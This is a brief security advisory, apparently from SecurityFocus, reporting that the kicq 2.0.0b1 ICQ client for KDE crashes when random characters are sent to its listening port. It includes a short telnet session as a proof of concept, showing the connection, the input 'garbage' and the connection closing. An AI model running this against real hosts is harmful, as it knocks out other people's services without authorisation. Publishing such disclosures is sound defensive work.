source: http://www.securityfocus.com/bid/4018/info

kicq 2.0.0b1 is an ICQ client for the K Desktop Environment (KDE). kicq can be crashed remotely by initiating a telnet connection to a port it is listening on and sending "random" characters. This does not affect other components of the system, only the ICQ client.

bash-2.05$ telnet 10.0.0.1 1030
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
garbage
Connection closed by foreign host.